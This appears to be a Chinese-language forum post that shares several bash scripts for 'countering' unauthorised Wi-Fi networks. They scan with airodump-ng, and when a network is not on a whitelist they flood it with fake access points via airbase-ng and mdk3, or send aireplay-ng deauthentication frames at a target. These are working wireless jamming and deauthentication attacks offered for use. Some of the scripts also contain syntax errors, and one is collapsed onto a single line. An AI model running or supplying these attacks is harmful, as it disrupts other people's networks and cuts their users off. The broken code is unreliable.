欢迎各位兄弟 发布技术文章
这里的技术是共享的
#!/bin/bash
# 允许的 SSID 列表
whitelist=("AAAA-Office" "AAAA-NST" "AAAA-MST" "AAAA-NYB" "AAAA-MYB")
# 检测时间间隔(秒)
check_interval=10
# 函数:验证 MAC 地址格式
is_valid_mac() {
[[ $1 =~ ^([0-9a-fA-F]{2}[:-]){5}([0-9a-fA-F]{2})$ ]]
}
while true; do
# 每次扫描以获取当前网络
sudo airodump-ng wlan0mon --write output --output-format csv
# 处理输出文件中的每一行,检查第一列是否在白名单
while IFS=',' read -r first_col _ last_col; do
# 检查第一列是否是 MAC 地址,并且最后一列不为空
if is_valid_mac "$first_col" && [ -n "$last_col" ]; then
printf '%s\n' "${whitelist[@]}" | grep -Fxq "$last_col"; then
if [ $? != 0 ];then
for i in $(seq 1 50);do
sudo airbase-ng -e "$last_col" -c $((i %14 + 1 )) wlan0mon &
done
fi
else
echo "Invalid entry or empty SSID: MAC: $first_col, SSID: $last_col"
fi
done < <(tail -n +2 output-01.csv) # 跳过文件的第一行(表头)
sleep "$check_interval"
done
#!/bin/bash
# 设置变量
AUTH_SSID=("my_wifi" "another_wifi") # 在这里添加你的白名单SSID
NON_AUTH_SSID=("shi-tplink2") # 非授权SSID
FLOOD_SSID="testwifi" # flood的SSID
INTERVAL=10 # 检测间隔(以秒为单位)
SSID_COUNT=100 # 扩展的SSID数量
while true; do
# 扫描并查找SSID
echo "Scanning for SSID..."
sudo airodump-ng wlan0mon -d $NON_AUTH_SSID --output-format csv --write scan_result.csv --write-interval 1 &
sleep $INTERVAL # 等待指定时间
# 检查是否检测到非授权SSID
if grep -q $NON_AUTH_SSID scan_result-*.csv; then
echo "Detected non-authorized SSID: $NON_AUTH_SSID"
# 启动flood SSID
echo "Starting SSID Flood for $SSID_COUNT times."
for ((i=1; i<=$SSID_COUNT; i++)); do
# 发送伪造的SSID
sudo mdk3 wlan0mon d -g $FLOOD_SSID -c [频道] -m $SSID_COUNT
# 等待一定时间(例如,每20秒发送一次)
sleep 20
done
fi
# 清理和结束扫描
pkill airodump-ng
done
#!/bin/bash
# 配置参数
INTERFACE="wlan0mon" # 你的监控模式接口名称
SCAN_DURATION=5 # 扫描持续时间(秒)
CHECK_INTERVAL=20 # 检查间隔(秒)
UNAUTHORIZED_SSID="testwifi" # 非授权的SSID
SSID_FLOOD_COUNT=100 # 洪泛攻击释放的SSID数量
WHITELIST_FILE="whitelist.txt" # 白名单文件路径
# 确保脚本具有管理员权限运行
if [ "$EUID" -ne 0 ]; then
echo "请以root用户或使用sudo运行此脚本"
exit
fi
# 函数:启动监控模式
start_monitor_mode() {
airmon-ng start $INTERFACE
}
# 函数:停止监控模式
stop_monitor_mode() {
airmon-ng stop $INTERFACE
}
# 函数:扫描并保存结果为CSV
scan_networks() {
airodump-ng --output-format csv -w scan --write-interval $SCAN_DURATION $INTERFACE > /dev/null 2>&1 &
sleep $SCAN_DURATION
pkill airodump-ng
}
# 函数:从CSV读取内容并查找非授权SSID
check_unauthorized_ssid() {
local found=0
while IFS=, read -r bssid first_time seen_last channel speed privacy cipher auth power beacons iv lan_ip manufacturer essid; do
if [[ "$essid" == *"$UNAUTHORIZED_SSID"* ]]; then
for white in $(cat $WHITELIST_FILE); do
if [[ "$bssid" == "$white" ]]; then
found=0
break
else
found=1
fi
done
if [[ $found -eq 1 ]]; then
return 0
fi
fi
done < <(tail -n +2 scan-01.csv)
return 1
}
# 函数:执行SSID洪泛攻击
ssid_flood_attack() {
echo "开始针对SSID '$UNAUTHORIZED_SSID' 的洪泛攻击..."
mdk3 $INTERFACE b -n "$UNAUTHORIZED_SSID" -c $SSID_FLOOD_COUNT
}
# 主逻辑
start_monitor_mode
while true; do
scan_networks
if check_unauthorized_ssid; then
ssid_flood_attack
else
echo "未检测到非授权SSID '$UNAUTHORIZED_SSID'"
fi
sleep $CHECK_INTERVAL
done
# 清理操作
# 注意:这个清理命令不会被执行,因为上面的循环是无限的。
# 如果你需要终止脚本,请手动停止它。
stop_monitor_mode
#!/bin/bash # 监控模式的网卡接口名称 INTERFACE=wlan0mon # 监控模式启动后生成的接口名称(通常会自动添加mon后缀) MON_INTERFACE=$(sudo airmon-ng | grep "$INTERFACE" | awk '{print $NF}') # 白名单SSID列表,一行一个SSID WHITELIST_FILE="whitelist.txt" # 检测间隔时间(秒) INTERVAL=20 # 释放SSID的数量 FLOOD_COUNT=100 # 检查白名单文件是否存在 if [ ! -f "$WHITELIST_FILE" ]; then echo "Whitelist file not found! Create $WHITELIST_FILE and add authorized SSIDs." exit 1 fi # 读取白名单SSID readarray -t WHITELIST < "$WHITELIST_FILE" while true; do # 获取当前环境中的SSID列表 SSID_LIST=$(sudo airodump-ng -w /tmp/airodump --output-format=csvcsv $MON_INTERFACE | grep -E 'ESSID,(.*)' | awk -F, '{print $2}' | sed 's/"//g' | sort | uniq) for SSID in $SSID_LIST; do # 检查SSID是否在白名单中 if ! [[ " ${WHITELIST[@]} " =~ " ${SSID} " ]]; then echo "Unauthorized SSID detected: $SSID" # 释放大量相同的SSID for i in $(seq 1 $FLOOD_COUNT); do sudo airbase-ng -e "$SSID" $MON_INTERFACE -P & # 等待一小段时间以避免过多并发 sleep 0.1 done fi done # 等待指定间隔时间 sleep $INTERVAL # 清理之前的airbase-ng进程 pkill -f airbase-ng done
while true; do
airodump-ng wlan0mon --write output --output-format csv
# 检查输出文件,寻找非授权的 SSID
if grep -q "testwifi" output-01.csv; then
# 释放大量相同的 SSID
for i in {1..100}; do
aireplay-ng --deauth 10 -a <目标MAC地址> wlan0mon
done
fi
sleep 10 # 或者 sleep 20
done